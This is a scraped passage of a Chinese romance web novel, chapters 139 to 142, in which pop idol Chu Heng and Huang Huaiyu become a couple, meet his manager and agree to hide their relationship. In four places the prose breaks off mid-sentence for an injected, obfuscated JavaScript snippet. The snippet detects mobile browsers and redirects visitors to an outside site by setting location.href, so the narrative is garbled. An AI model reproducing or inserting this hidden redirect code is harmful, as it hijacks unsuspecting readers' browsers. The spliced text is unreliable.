楚恒任由她哭,紧紧抱着她,一言不发只是缓慢地吻她脖子。吻到最后,大手轻轻地揉她的发丝,把她头发绕在指间,像安抚小猫小狗一样揉她的后颈。 等到哭声慢慢变小,他又说了一遍。 “我爱你。” 怀里的人好像开始不安分地动了起来,扭了两下,被吻过的耳廓有点红,好几秒之后楚恒才听见胸口传出小声的闷闷的声音:“别说了。” “我会说到你相信为止。” “你信吗?” “不信的话,我会一直说下去。” “刚刚那些话,说出来心里会好受吗?你知道的,你知道你自己不是那样的。” “黄怀予,别回头看。往前看,看我。” …… 黄怀予,别回头看。 太平洋深处引发风暴的是自己,浓雾中镜子里的敌人是自己,世界末日你杀光了所有人剩下的最后一个人就是自己。 别回头看。和过去的那个自己,说再见吧。 她紧紧闭上了眼睛,眼泪来得汹涌肆意,鼻尖酸涩一片。 攥住他衣角的手,慢慢地松开,又缓缓往上抬,最后一点点回抱住他。 她明明紧闭双眼,却好像能看见黑暗迷蒙中,那个破碎的卑微的千疮百孔的自己,也正一步步蹒跚着朝她走来。她伸出双手,抱住了那个人。 光幕碎裂,天地变换,一瞬间世界又只剩她一个人。 她睁开双眼,墙边暗黄落地灯笼罩出圆润静谧的氛围,窗外月光绵绵,冷色如钩。 自己正在面前人的怀中,迷蒙中正对上他那双比月亮还美的眼睛。 泪痕被他温热带着一点粗糙的手指擦去,楚恒那双桃花眼此时柔和而缱绻,眼角带着点湿润,瞳孔清亮无比,眼里闪着她从未见过的深沉的温柔和爱意。 “又把眼泪蹭到我衣服上了。”他声音带着点哑。 黄怀予脸一垮。 他笑了一下,手指蹭过她的脸,又捏了一下她的耳垂。 “蹭吧。” “我是你的。” * 黄怀予在卫生间里待了快四十分钟。 水汽氤氲,热流弥漫,她脑子空空地盯着花洒上面反射出来的自己的脸,实在是不知道应该以什么样的心情去面对门外的那个男人。 现在是晚上十点四十五分。 距离她躺在楚门家里一边看电视剧、一边刷微博的时候,才刚刚过去了六个多小时。 这六个小时发生了什么? 这个晚上发生了什么? 她都干了些什么? 事情怎么就已经发展到了现在这一步? 黄怀予呆滞地穿好衣服,走了出去,低下头盯着自己的脚尖。 “要不……我还是去酒店住吧。” “我都订好了。”她小声说。 耳边传来脚步声,下一秒他就站到了自己面前。 “已经帮你取消了。” 头上的毛巾被摘了下来,湿润的黑发垂在肩头,一缕一缕蹭得脸边有些痒,黄怀予抬起头,下一秒吹风机的轰鸣声就在耳边响起,湿润的头发被身后一只大手轻轻柔柔地抚摸。 “……” 轰隆隆的声音一下子掩盖了其他所有心跳声,黄怀予攥着拳头站在原地,低着头乖顺地任由身后的楚恒给自己吹头发。 两人面前的洗手池上方有一面镜子,他比自己高一两个头,此时两人都站在镜子前,这个高度刚刚好。 温热的干燥的风吹过脸颊,透着红的皮肤已经分不清是因为刚刚沐浴后留下的蒸腾水汽,还是因为当事人越来越高的体温。 他的手指轻轻穿过发丝,一点一点拂动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她又想起之前那天晚上在残长城的山林里,两个人滚得浑身是土,又是流血又是崴脚,安全都还是个未知数,这种情况下,他一个那么洁癖龟毛的人,居然也能硬生生莫名其妙被她摸出了反应。 黄怀予没谈过恋爱,但是理论知识很丰富。 所以她看着镜子里的他,非常真诚地问了出来: “男生都这么容易起反应吗?” 听到这话的楚恒突然停住动作,抬起眼,情欲未消的眸子里已经闪过冷意。 “男生?” 他重复了一下这两个字。 “你很感兴趣?” “……”黄怀予尴尬笑笑,“我只是比较好奇。” 楚恒嘴角一下子垂了下来,表情变得有些冷,把她转过来,面对面看着她。 “不许好奇。” “别的男生的所有事,都不许好奇。” 黄怀予从小到大最讨厌“不许”这两个字,不管是家长还是老师,只要对她说不许,这件事情就算她一开始没打算干,那她最后也一定要干一干。 她歪歪头,突然觉得好像还是第一次见到这样的楚恒,于是直视着楚恒的眼睛。 “那我应该好奇谁的事?” 楚恒盯着她。 “我。” “你男朋友。” 140. 第 140 章 黄怀予从柔软的床上醒过来的时候,盯着陌生的天花板,脑中有一瞬间的迷茫。 床边手机显示是早上八点,她昏沉地坐起来,意识混乱地从左到右扫了一眼这个昨晚才第一次进来的房间。 白色为主色,很简洁,没有一丝多余的装饰,只有生活必需品,桌子上几乎没有东西,一眼看过去空空荡荡像是根本没有住人。 唯一有使用痕迹的地方在墙角。墙边放着一把吉他,窗边有一架电子琴,琴架上放着一沓厚厚的五线谱草稿,上面字迹凌乱,画满黑色的音符。 ——嗯,绝对不是她的俗气/狗窝风格。 一切都在提醒她,她昨天晚上在楚恒的卧室睡了一晚上。 …… 她低下头揉揉头发。 房间里只有她一个人,昨晚也只有她一个人躺在这张床上。 被枕头和被子里那股只属于某人的特殊味道纠缠了一晚,被小苍兰气味包裹住的时候她心跳飞快,昨晚花了很久才平复心跳睡过去。 洗漱完拉开窗帘,窗外是帝都繁华忙碌的上午。 她托着腮在窗沿边看了好几分钟楼下的车水马龙。 阳光照在她干干净净的脸上,在鼻梁边打下一道阴影,乌黑的发丝被风吹起,整个人显得素净单薄。 楚恒走进房间的第一秒,看到的就是这样一幕。 她来得匆忙什么都没带,昨晚穿的是他的T恤。在他身上刚好的衣服穿在她身上却大了很多,一直垂到了大腿处。下半身穿了她自己的棉质短裤,轻柔舒适,软软地包裹皮肤,露出下方两条笔直的腿。 他目光落在她小腿上。 骨架修长,腿纤直但有力,肌肉匀称。 皮肤细腻柔软,被阳光暖洋洋地照着。 …… 黄怀予盯着楼下绕来绕去的公交车发了好一会的呆,转过身才突然猝不及防和房门口男人投射过来的眼神撞了个正着,一下子吓得伸了一半的懒腰都缩了回去。 “吓我一跳。” “你走路没声音的啊。” 目光相接的一瞬间好像有什么水流在空气里涌动,两个人好像都能从这对视中敏感地意识到两人的关系有什么改变了。 她挠挠头,有些不好意思,“你昨晚在沙发上是不是没睡好?” 没听到回答,只听见脚步声离她越来越近,下一秒右手被他牵起,干燥的指腹划过她的手心又插进她的指间,十指相扣,带了一股力气,拉着她往前走。 “不是。” “昨晚是我这一年以来睡得最好的一晚。” 他声音低沉,黄怀予看不见他表情,只能看见他高高的背影和后颈处柔软的头发。 被他一路拉着到了餐桌边,又被他按着坐下。面前摆了一盘三明治和一杯牛奶,还有三四个塑料袋和纸袋,打开发现是油条包子烧饼之类的中式早餐,种类很多。 “这么多!” 楚恒坐在她对面,看着她的脸。 “嗯。不知道你喜欢什么,所以每一样都买了一点。” 黄怀予认真看了看,“可是有的你只买了一个。我们怎么分?” 却见他看着自己,说: “我吃过了。” 他薄唇微动,吐出几个字。 “黑咖啡,煮鸡蛋,坚果,蓝莓。” 黄怀予一呆。 对啊,他要身材管理的,平时都不会吃这些东西。 她颇有些为难地看着这一大桌,“我吃不完怎么办?” 他皱了皱眉,“不喜欢?” “今早我看见前面几条街有一家云省早餐店,明天我去买。” “不是!”她有点解释不清,只能看了一圈,然后先拿起盘子里的三明治,“我吃。” 楚恒看她张开嘴咬了一口开始嚼,眼神就一直落在她唇上,神情松动了很多。 “喜欢吃三明治?”他问。 “没有。”黄怀予一边吃一边含含糊糊地说,“你放在盘子里,我想应该是你做的。那当然先吃这个。” 他一愣。 随后眉眼柔和下来,勾唇淡淡地笑。 * 车在一幢写字楼前,稳稳停下。 黄怀予坐在副驾驶,解开安全带,却迟迟没打开车门。 “我真的要和你一起去吗?” 她低着头,声音有点小。 她实在是没想到,吃完早饭,楚恒竟然直接拉着她上了车,要带她去他经纪人开的新公司——也就是他解约后要去的新公司,去见他经纪人。 “嗯。”楚恒坐她旁边的驾驶座,单手“咔哒”解开安全带,倾身过来就要帮她开车门。 可是下一秒就被一只柔软的手拦住,肌肤相接的地方传来温热的触感。 他一顿。 两人此时距离很近,他微微转头,看着她的脸。 “为什么要我去?”她问。 “你是我女朋友。”他回答得很理所当然。 黄怀予努力理解,“意思是出于你工作性质的特殊性,你的每任女朋友都要带去和你经纪人见一面吗?” 楚恒闻言,皱起了眉。 “只有你一个。” “……”黄怀予心跳骤然加快,解释道,“我的意思是,我们昨天晚上才确认关系。” 楚恒平静地看她,像是在说“那又怎么了”。 黄怀予嘴唇动了动,突然明白了自己心里微妙的不对劲来自于哪里。 ——让她和他一起去见经纪人这件事,如果脱离他这份特殊的工作,类比于平常圈外人的生活来看,实在是太类似于“见家长”这件事了。 两人昨天晚上才确认关系,居然今天就可以到了见家长这一步吗? 恋爱是赌博,是试探,是尝试两人是否合适契合,世界上的恋爱都需要不断磨合、不断揣测,逐步稳定之后才会考虑下一步——把对方的存在向自己的社交圈公开,承认对方的唯一性存在。 年轻人的恋爱更是自由,几个月已经算长久,楚门一中就算是管理严格的公立高中,也绝对防不住学生们的校园恋情,女生男生青涩懵懂,今天看见他俩在一起,明天就分手,后天又能找到新的。黄怀予看见过无数前任在教室走廊相见分外尴尬的场景,暗暗告诫自己绝对不能和熟人谈恋爱,不然分手了周围人全都知道了,太尴尬了。 她觉得世界广阔,生命自由,没有什么是一成不变的,更加默认大家都不会愿意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14162182|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被什么东西束缚住。 生命的意义就在于尝试,难道不是吗? 黄怀予心里有疑问,干脆带着一点开玩笑的语气脱口而出: “万一我们分手了呢?” 这话一出,她清清楚楚地看到,楚恒所有神情都瞬间僵在脸上。 他嘴角垂下,整个人紧绷起来,周身气压都下降了好几个度。 那双眸子直直地朝她看过来,眼底多了挫败和受伤的冷意,像是冰霜凝结。 “……对不起,我不是那个意思。” 黄怀予这才意识到确认关系第一天就说分手似乎是很不吉利的事情,只能迅速道歉,老老实实地承认,“我开玩笑开惯了,你别放在心上。我只是觉得,大家的恋爱都没那么长久,以为你也是这样,不愿意轻易被承诺束缚住。” 车里陷入沉默。 下一秒,面前距离自己很近的男人突然坐回去,打开车门下了车。 没过一会自己这边的车门也被骤然打开,她有些惊讶地抬头,手被一只大手牵起来,拉着下了车,带着一股不由分说的力量往写字楼里走去。 “等一下楚老师……” 她被扯得脚步有些踉跄,前面的男人像是感觉到了,慢下步伐转身面对她停住,她猝不及防倒在他怀里,被他一把揽住。 ——都到了这种时候,黄怀予第一反应居然是: “你快点戴口罩!” 她推了他胸膛一下,没推动。 楚恒盯着她的脸,“不戴。” “刚刚那两个字,我永远也不想听。” 他手臂勾住她的腰,箍得越来越紧。 “这句话的意思是,我永远不会给你说出这两个字的机会。” 永远? 可是永远那么漫长。黄怀予几乎从不说“永远”,她说的最多的就是“现在”和“明天”。 “抬头,看我。” 下巴被一只手挑起来,正对上他的眼睛。 楚恒皱着眉头,似乎是发现她在走神,手臂收紧,黄怀予只觉得后腰传来源源不断的热度,眼前人距离越来越近,两人的呼吸几乎交织在一起。 “看着我。” “只看着我。” 黄怀予愣愣的,眼前人的俊脸在自己面前越来越放大,她只能看见他漆黑乌亮的瞳孔里倒映出的小小的自己。 两人的呼吸纠缠在一起,黄怀予几乎可以听见自己的心跳马上要冲破胸腔。 她眨眨眼,从他怀里伸出手,慢慢勾住他的脖子,摸了摸他的发顶。 然后踮起脚尖,轻轻地亲上他的下巴。 “我错了,不该说这种话。” “……”上一秒还在皱眉的楚恒瞳孔骤然紧缩,完全怔住了。 黄怀予又踮起脚尖,在同一个地方又亲了一下。 “别生气。” 楚恒一动不动看着她,像是还没反应过来。 黄怀予又亲了一下,扔下最后一句话: “我们上去见梁姐吧。” ……楚恒终于反应过来了,咬着牙看着她,眼睛里像是有烈焰燃烧,一把扯过她的手就往车的方向走回去,打开后座的车门,把她推了进去,随即倾身压上来。 141. 第 141 章 啥也没干。 就是抱了半小时。 …… 黄怀予借着电梯墙壁的反光看了一眼,仪容仪表很正常,甚至都没有脸红心跳,神色非常平静。 楚恒走在她前面,干燥温暖的手牢牢牵着她的左手,一步步牵着她往前面走。 写字楼很安静,空气里有着淡淡的高级香味。他敲响办公室的门,门打开,一个利落短发穿着白色西装的女士坐在里面,看着门口的他们,露出一个笑。 “来了?” “坐。” 黄怀予忐忑不安地走进去,她能感觉到从踏进办公室的那一刻开始,那位女士的目光就一直集中在她身上,像是好奇又像是感兴趣。 “梁姐。” 男人高高瘦瘦,掌心温热,和她十指紧扣。 “这是我女朋友。” 梁吟东站起来,笑意吟吟地端来两杯茶,放在两人面前,随后在两人对面坐下。 “这是我家乡的碧螺春。喝得惯茶吗?喝不惯的话我让小宋送其他的过来。” 她看着黄怀予,眼里含着笑。 “原来就是你啊。” “叫你小予,可以吗?” 被楚恒拉着坐下,黄怀予有些不好意思点头,“可以的梁姐。” 梁吟东坐在两人对面的沙发上,视线扫过楚恒紧紧握住黄怀予的手。黄怀予注意到她的视线,脸上有些烫,想悄悄挣开,可被他的手牢牢地握着,完全挣不动。 再看梁吟东,本以为会看见一些戏谑和调侃,却没想到她很认真地点头。 “很般配。” “……”黄怀予脸色发烫,只能用另一只手拿起桌上的茶,微微抿了一口,色泽碧绿,清香袭人,茶叶飘飘荡荡在杯子水流里旋转,也像极了她砰砰直跳的心。 “你是云省楚门人吧。”梁吟东问,“之前楚恒每去一次楚门,回来心情就会变好。我猜他在楚门见的人就是你。” 黄怀予一愣。 她不由自主看向楚恒,却发现他慢慢低下了头,没有说话,唇边却好像微微扬起了一点小小的弧度。 下一秒,她的左手食指就被人轻轻摩挲了一下。 浅尝辄止,指腹摩擦,激起转瞬即逝的酥麻和痒意,也刺得黄怀予心里一跳。 她还没想明白这次来见经纪人是为了什么,就听见楚恒平静地说: ——“梁姐,如果可以的话,我想公开。” 一句话瞬间让办公室气氛陷入安静。 梁吟东惊讶地挑挑眉,又看了黄怀予一眼,不由得笑出声。 “你回头看看你女朋友的表情,跟我一样吃惊。” “……”楚恒回头,果然看见黄怀予还没来得及合上的下巴。 黄怀予从来没想过要公开。 从一年前认识楚恒、和谷奕苏琬一样成为了他的素人朋友以后,她就已经很有保密的自觉了。 在十几岁最想炫耀、虚荣心最强的年纪,黄怀予这么一个恨不得全世界都来膜拜自己的追名逐利的人,居然能在周围同学偶尔讨论起明星的时候,强烈压下自己有某位现役男团爱豆的微信这件事,沉默地听着周围人继续讲八卦。 这件事是用光了她多大的自制力啊! 好不容易这么忍了一年,结果现在直接关系升级了——得了,现在这位男团爱豆已经变成你男朋友了。 周围人动不动谈个恋爱能在朋友圈里秀到海枯石烂,你只能老老实实给TA们点赞。官宣一条下面十几个99,你安静如鸡也保持队形。过节转账、生日送花、情侣合照、约会纪念……客观想想都觉得是形式,好像没必要,可是人这辈子不就是一直活在形式里吗? 黄怀予这样的社交分子,天生就活在人群和互动里。朋友圈和微博整天分享生活,有任何事完全憋不住立刻就自己发出去了。 会觉得有些失落吗? 黄怀予昨晚躺在楚恒的床上,认认真真思考了这个问题,最后得出的结论是: ——比起公开会给楚恒带来的麻烦比起来,这些失落什么都算不上了。 对于两人的恋爱关系,她下意识就会害怕影响他的事业——却没想到他一开始想到的就是要公开。他想给她安全感,想让她也和其他人一样可以有“秀”的权利,想给她一切他认为她应该拥有的东西。 梁吟东看着面前这对年轻情侣。 这位经纪人已经在这个圈子摸爬滚打十几年,她见过太多乱七八糟的男女关系,处理过太多腥风血雨的舆论大战。既然已经成为了公众人物,就和圈外人再也不同了,享受了光鲜亮丽,就要承受对应的代价。 她说:“对象是圈内人,公开是负责。对象是圈外人,不公开才是负责。” “我知道你是想给她安全感和百分百的尊重。可是一旦公开,你有足够多的能力保护她吗?当在你身上的所有讨论、污蔑、指责、猜测都落到她身上的时候,这对她公平吗?” “你是艺人,承担这些无可奈何。可是她还有自己的生活,她还要上学工作,她只是和你谈了个恋爱,她不应该被卷进来。” 男人像是愣住,又低下头沉默。这些直白客观到冷静的话像利箭一般朝他刺过来,他为数不多的美好幻想被直接撕裂,只剩血淋淋的现实。 紧握着她的大手似乎越来越颤抖,黄怀予低下头,轻轻地把另一只手也覆了上去。修长的手指牵住她,又十指相扣,皮肤接触,心跳好像也能在这紧牵的手中被感知。 黄怀予想,没什么好沮丧的,不是吗?因为他们两人在下意识里做出的决定,全都是为了对方。 “你们俩最好的方式,就是一直藏着。” “藏得越深越好,不被任何人发现,不给任何人有可能拍到的机会。” 楚恒低着头,半晌才出声,声音有些沙哑,带着不确定: “……这些,我们有办法可以控制吗?” 梁吟东笑笑,“当然可以。” “朋友,就算很亲近,也别说。社交媒体,明显的不明显的一律不能发。见面约会只在家里,不出门。就算出门,错开时间,错开交通工具,乔装打扮。车窗玻璃贴膜,在外不点开手机屏幕。和对方有关的衣服,穿了一次就不要再穿第二次。所有情侣物件一律不带出门不拍上网。” 梁吟东往沙发一靠。 “只要想瞒的,就一定瞒得住。被拍到的,都是没认真藏的。” * 两人坐在空无一人的办公室里。 梁吟东已经离开,她被一个紧急电话叫了出去,很是抱歉,坚持中午一定要请两人吃饭,说处理完就立刻回来。 今天天气炎热,空气里潮湿闷热,像是给人的心也蒙上了一层粘腻的罩。 喝了一半的碧螺春已经凉了,翠绿色的茶叶已然变色,仰躺着浮在水面上。 黄怀予看着和自己一起并排坐在沙发上的男生,他垂着头,牵着自己的手,前额碎发往下遮住了一点眼睛,鼻背高挺,唇角却紧紧地抿着,整个人好似都陷入了低迷的情绪里。 才刚站起来,楚恒像是瞬间回到现实,立刻就抓紧了她的手,把她往回扯了一点,仰头,那双眼睛湿漉漉地看她。 “去哪?” 他抬头,盯着她问。 黄怀予有些无奈,顺着他的力气往前走了两小步,走进了他两腿膝盖之间站着。 “茶凉了。去倒点热水。” 楚恒似乎是微微松了一口气,依然没放手,“我去倒。” 黄怀予看着面前刚刚还坐着的人一下子站了起来,一米八 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14173305|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几的个子比自己高了一两个头,牵着她的手,拉着她往办公室右侧的饮水机走去。 “什么你去倒?你这不是拉着我一起去倒吗?” 黄怀予被他拉着,走在他身后,懒洋洋地笑。 他抿唇,没说话,往杯子里接了半杯热水,递给她,看着她喝了一口。 他的眼睛本就生得好看,眼尾微微上扬,双眼皮宽长,卧蚕明显,睫毛浓密,天生一副多情缱绻。可是这双眼睛里却一向只有冷淡的寒气,带着一点漠然,一点事不关己的平静,就算眼睛长得如此温柔,却也让人不敢靠近。 可是此时,他眼里却有些湿润,漆黑的瞳孔里闪着潮湿的水汽,就这样一瞬不瞬地看着她的脸,像极了窗外潮热的天气,闷闷却沉腻,带着厚重的化不开的情绪。 黄怀予喝完,看他仍然盯着自己看,于是问:“你喝不喝?我去把你的杯子也拿过来?” 他点头,抓住她拿着杯子的手臂,拉着往前一带,就着她的手,直接把她刚刚喝过的杯子递到了唇边。 他一边微微仰头喝下一口茶,一边还盯着自己看,喉结滚动,下颌线线条清晰,唇边还留着刚被沾湿的痕迹。 “……”黄怀予愣了一下,一时嘴快就把心里想的说出来了,“你在勾引我吗?” 他闻言,眸光闪动一下,喉间溢出轻笑,刚刚低迷的情绪终于是消失不见,看着她,眼里满是温柔的笑意。 “嗯。可以这么认为。” “以前怎么没发现你是这样的人。”看他竟然痛快承认,黄怀予感觉自己又多认识了这个人一点,把杯子拿回来,仰头一口喝完,扔进旁边的垃圾桶。 想了想,又在他视线注视下,走近两步,手指轻轻抚过他的唇,帮他擦掉那一点点潮湿的水雾。 温暖柔软的指腹轻触到唇的那一瞬间,楚恒微微瞪大眼睛,大脑空白了一瞬,只觉得像是有电流从唇扩散到全身。 回过神,看见面前女生嘻嘻哈哈的笑脸。 “我也来试试。” “有用吗?” “……”他站在原地,被她开心的笑晃了眼,花了两秒钟才意识到她说的话指的是“也来勾引他”,呼出一口气,手上用了些力气,一把拉着两人紧牵的手,把她扯进怀里。 “很有用。” “你什么都不用做,就已经能达到目的了。” 楚恒听着她胸腔里传来的稳稳的心跳声,低着头,声音喑哑。 “对不起。”他突然说。 后面的话,他没说出口,可是黄怀予却明白。 他在为无法公开而道歉。 他觉得无法给她普通情侣能有的一切,他觉得无法给她普通人的安定生活,甚至只能跟着他躲躲藏藏、谈一场不知终点在哪里的地下恋爱。 黄怀予在他怀里,眨眨眼,回抱住了他的腰。 “道什么歉。你不觉得地下恋比普通恋爱要刺激有趣多了吗?” 她感觉抱住自己的人似乎是抖了一下,随后更加用力地箍住了自己的腰。 黄怀予踮起脚尖,把头放在他肩膀上,朝他脖子吹了一口气,感觉到他浑身一颤地瑟缩了一下,才露出一个得逞的笑。 “我就喜欢偷情play。” 窗外骤然响起稀里哗啦的巨大声响,盛大的雨幕骤然间倾盆而下,这场闷热的大雨在沉闷的压力下终于彻底地爆发出来,雨点打在写字楼透明落地窗玻璃上又倾泻而下,整座城市都被笼罩在湿润无边的水汽中。 她开着安慰的玩笑,讲着无所顾忌的俗气笑话,却没让那人开心起来。 那紧紧抱住她的人重重地喘了两声,心里酸酸麻麻泛着涩意,想说很多话却什么也说不出来,最终缠绵而庄重地吻上她的耳廓。 “我爱你。” 142. 第 142 章 这场雨下得很大。 突如其来,大雨滂沱,倾盆而下。 雨点几乎是往下砸的。 今早出门的时候还是晴天,两人都没带伞。楚恒望着窗外,沉声道:“我去问问梁姐办公室里有没有伞。” 黄怀予随意往窗外看了一眼,问了一句:“梁姐还要多久回来?” “大概半小时。” “那就不用。” 黄怀予坐在沙发上,新奇地翻着书柜上的时尚杂志。 她颇有兴趣地看着上面某一面出现的STAR,说:“她回来之前,这雨就会停。” 她说完就低下头继续看杂志,神态很轻松,语气却很笃定。 …… 两人在办公室里等了不到十五分钟,果然,刚刚还滂沱的大雨骤然就变小,直至彻底停下来。 窗外阳光重现,这场气势汹汹的雨来得快,去得更快,只是闷热地下了一场,下完就继续艳阳高照,仿佛刚刚那遮天蔽日的雨只是转瞬即逝的错觉。 楚恒有些惊讶,看向那个悠哉游哉还在看杂志的身影。 黄怀予低头看杂志,看着看着才发现背后的阳光都已经照了过来,投射在了手中的杂志上,这才毫不意外地回头,看了一眼窗外。 ——果然停了,出太阳了。 “你怎么知道雨会停?” 黄怀予头也没抬地回答:“夏天,天气热,空气潮湿,这种时候突然下的暴雨一看就知道是对流雨。来得快去得也快,用不了多久就能停。” 她说完,半晌都没听到那人回答,抬起头去看,才发现他一直看着自己。 “不用用这种仰慕的眼神看着我吧。”黄怀予有些不好意思起来,“这就是很普通的地理知识。我高中的时候还是地理课代表呢。” ……楚恒脑子里骤然闪过很多片段,各种各样闪闪发光的她。 重点高中的全班第一名,文科高考642分。 在颐和园和苏琬聊起明清时期的三教融合,在景山公园为了壮阔的宇宙而流泪,在齐白石故居认真地看门边的刻字。 在私人微博里引经据典说着自己和老师讨论哲学思想的结果,在逼仄陈旧的教室正中间熟练而生动地弹《梁祝》。 从杨天奇手下的两个壮汉那里逃出来还能反过来踢伤他们,看见校门口的流浪狗会省下自己不多的早餐钱买肉喂它吃。 喝酒的时候满脸酡红在大厅里跳舞,星空下的望远镜前一个人咬牙满头大汗站了四十分钟就为了找到木星。 ……她就是一直都这样耀眼,这样自我,这样像太阳一样吸引所有人的目光都看向她。 他眼前恍惚一瞬,下一秒却已经看到女孩站起来,拿着那本杂志,笑嘻嘻地凑过来问他: “楚老师,拍杂志是一种什么体验?是不是得装作自己很冷酷?想象自己特别帅?” ——嗯。还有最后一点,就是她永远能迅速察觉到周围人的情绪,立刻开始动用自己的幽默属性,讲一个笑话开始捧对方缓和气氛。 黄怀予颇为好奇地笑着问,却没得到那人的回答,下一秒自己手腕却被握住,她被一股力量扯到了一个熟悉的怀抱里。 “是真的想知道?还是只是为了……” 大掌抚过她后脑勺的发丝,楚恒顿了一下,轻声说: “在我面前,不用这样做。” ……怀里的人骤然停住了动作。 手指慢慢收紧,抓住他的衣角,过了很久才蹭了蹭他胸前的衣服,用力嗅了嗅他身上的味道。 一种安心的感觉。 * 黄怀予呆在楚恒家里,一连四五天都没出门。 天气太热,她完美践行了梁吟东说的原则,基本不出门。 黄怀予一般醒来的时候已经是中午。房子里空空荡荡的,楚恒又不在。这段时间他基本早出晚归,一直在处理新娱那边最后的各种遗留问题。 出来一看,桌上摆了各种各样的早餐,架子上多了很多看上去不会出现在这个房子里的零食。点开手机发现他又给自己转了钱,说没办法陪她吃午餐,桌上有附近餐厅的菜单,可以打电话叫餐送过来。 原本空空荡荡干净整洁的卫生间里多了一条亮黄色的浴巾,放着一个新的卡通刷牙杯,看上去似乎与房子主人冷淡洁癖的风格完全不同。 吃完午饭以后,她躺在沙发上吹空调吃冰淇淋。电视里放着综艺节目,她懒懒地看,哈哈大笑。 看累了,下楼在小区里逛逛,跟一只金毛的主人姐姐搭讪上了,成功加上微信,说每天下午都能下来撸狗。 回来以后跑到他卧室里玩玩吉他和电子琴。起来的时候太急,不小心把琴撞倒了。 琴没坏,但是砸到脚了,重重地一下,痛得龇牙咧嘴。 她一看就知道这琴很贵,心虚拍照发消息给他,弱弱承认把他琴给摔了一下,不过她自己好歹也是会弹琴的,检查了一遍确认没坏。 她说:“你的琴没坏。” 楚恒:“受伤没。” 她说:“不过我会赔给你的……我查了一下价格,赔你三分之一钱可以吗?” 楚恒:“你受伤没。” 她说:“没有。就是把脚砸了一下。” 楚恒:“疼吗。” 她说:“还好吧。这区区小痛,没感觉!” 当天晚上楚恒难得晚上七点多就回来了,拎着一袋东西。 打开门扫视了一圈,没找到人,又去了卧室,发现了洗完澡窝在床上戴着耳机看电影的她。 “嗯?你回来了?”黄怀予摘下耳机,还没反应过来,下一秒身上的被子就被一把掀开,脚腕被一只微凉的大手捏住,拉到床边细细地看。 “这就是你说的还好?”他单膝跪在床边,神色有些冷,“淤青了。” 黄怀予低头看着脚腕上一块青紫色的痕迹,挠挠头。她倒觉得没什么,每天跑跑跳跳,好像身上经常有各种各样的淤青或者划痕,自己都不知道怎么来的。 脚腕皮肤上突然一阵清凉触感,鼻间萦绕着一股药味,她看过去,楚恒正单膝跪在自己面前,低头用指腹慢慢给自己涂药。 她观察着他的神色,看他眉头依然轻轻蹙着,自知他今天提前回来是为了自己,有些心虚,抬起手摸了摸他的脸。 “对不起,打扰你的正事了吧。” 她手指覆上他脸的一瞬间,他顿了一下动作,抬起头,看着她。 “为什么道歉。” “因为我把你的琴摔了一下。” “还有呢。” “你为了我提前回来了。” “还有呢。” “……想不出来了。” “全错。”楚恒抿着唇,俯下身把她抱了起来,边走边说,“继续想。” “楚恒!”黄怀予骤然失重,吓了一跳,紧紧搂住他的脖子,“放我下来!” 楚恒抱着她走到了客厅,在餐桌前放下她,桌子上放着一块巧克力蛋糕。 她愣愣的,“给我买的?” “嗯。”楚恒在她对面坐下,表情依然有点冷,“边吃边想。” 黄怀予托腮看他,“我想到了……是我受伤了。” 他面无表情,“对了一半。” “……是我受伤了,但是却跟你说还好。” 考官绷着脸,终于点头。 黄怀予看着面前的蛋糕,“我没答对,都可以吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14176820|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蛋糕,那我答对了,还有什么奖励?” 楚恒看着她几秒,终于吐出一口气,眼里慢慢透出几丝无可奈何。 “这几天在家会无聊吗。” “完全不无聊!”黄怀予美滋滋地开始吃蛋糕,“天气太热,我才不想出门。反正我暑假在楚门也是呆在家里吹空调。” “这几天把高中的时候一直想看但是没时间看的综艺和电视剧都补了一遍,超级爽!” “还玩了一下你的琴和吉他……我上网找到了一份傻瓜式吉他教程,现在已经可以弹《小星星》了!等会我给你展示一下?” “哦!对了!下午五点左右,没那么热的时候,我还在楼下搭讪了一个遛狗的姐姐,以后每天下楼都可以摸她的金毛!” 她滔滔不绝地说着,突然嘴角被人用手指轻轻擦了一下,一愣,抬起头,对上他的眼睛。 “嗯。” “一个人过得这么丰富多彩。” “真厉害。” 他神色平静地擦掉了她嘴角的奶油,定定地望着她,漆黑的眸子像暗夜里的灯,湿润却明亮,溢出水一般温柔的笑意。 “还有吗?” “还有……”黄怀予想到什么,哽了一下,“没了。” 